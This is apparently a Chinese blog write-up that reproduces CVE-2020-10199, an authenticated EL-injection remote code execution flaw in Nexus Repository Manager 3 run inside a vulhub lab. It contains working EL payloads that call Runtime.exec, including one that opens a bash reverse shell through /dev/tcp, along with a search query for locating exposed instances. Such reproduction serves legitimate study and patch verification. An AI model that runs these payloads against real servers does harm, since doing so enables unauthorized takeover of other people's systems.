CVE-2020-10199:Nexus Repository Manager 3 group后台远程命令执行漏洞
一、简介
nexus的全称是Nexus Repository Manager,是Sonatype公司的一个产品。它是一个强大的仓库管理器,极大地简化了内部仓库的维护和外部仓库的访问。
主要用它来搭建公司内部的maven私服。但是它的功能不仅仅是创建maven私有仓库这么简单,还可以作为nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt等的私有仓库,功能非常强大。
二、漏洞概述
在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于后台存在一处任意EL表达式注入漏洞,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码,获取系统权限。此漏洞的利用需要攻击者具备任意类型的账号权限。
三、影响版本
Nexus Repository Manager OSS/Pro 3.x <= 3.21.1
四、网络测绘
app=”Nexus-Repository-Manager”
五、环境部署
cd /usr/local/vulhub/nexus/CVE-2020-10199 |
六、漏洞复现
访问:http://ip:8081 进入登录页面
强制修改默认口令(可设置为原口令/弱口令)
使用admin/admin登录后台后,登录后使用f12找到cookie复制当前的csrf-Token
使用burp进行抓包,替换以下数据包,然后把自己的cookie和csrf-Token粘贴上去,然后发包即可看到执行了9*9
POST /service/rest/beta/repositories/go/group |
把执行9*9修改为创建一个文件,进入docker中查看创建成功
$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')} |
使用nc进行监听,执行反弹shell把执行写入文件的payload修改成反弹shell的命令,点击发送查看nc的监听看到返回了shell
$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/ip/port<&1')} |
七、修复建议
升级至最新版本
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 wolke!
评论